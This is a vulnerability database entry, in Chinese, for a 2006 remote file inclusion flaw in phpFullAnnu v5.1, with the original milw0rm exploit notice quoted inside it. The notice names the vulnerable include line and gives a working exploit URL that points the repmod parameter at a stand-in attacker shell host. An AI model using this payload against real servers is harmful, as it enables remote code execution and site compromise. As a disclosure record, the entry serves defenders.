PHPFullAnnu 'Home.Module.PHP' PHP远程文件包含漏洞

https://www.exploit-db.com/exploits/2313
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200609-110

phpFullAnnu的modules/home.module.php中的PHP远程文件包含漏洞，远程攻击者可以通过repmod参数中的URL执行任意PHP代码。

#==============================================================================================
#phpFullAnnu <= v5.1 (repmod) Remote File Inclusion Exploit
#===============================================================================================
#                                                                       
#Critical Level : Dangerous                                             
#                                                                       
#Venedor site : http://pfa.netsliver.com/download/phpfullannu-v5.1.zip       
#                                                                       
#Version : v5.1                                             
#                                                         
#================================================================================================
#Bug in : modules/home.module.php
#
#Vlu Code :
#--------------------------------
#      include($repmod.'linksdirect.module.php');
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/modules/home.module.php?repmod=http://SHELLURL.COM?
#
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : SiMooooo KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd
# Special Thx To : Str0ke
==================================================================================================

# milw0rm.com [2006-09-06]

来源:BID
名称:19875
链接:http://www.securityfocus.com/bid/19875
来源:MILW0RM
名称:2313
链接:http://www.milw0rm.com/exploits/2313
来源:VUPEN
名称:ADV-2006-3493
链接:http://www.frsirt.com/english/advisories/2006/3493
来源:SECUNIA
名称:21805
链接:http://secunia.com/advisories/21805
来源:XF
名称:phpfullannu-home-file-include(28767)
链接:http://xforce.iss.net/xforce/xfdb/28767
来源:MILW0RM
名称:2313
链接:http://milw0rm.com/exploits/2313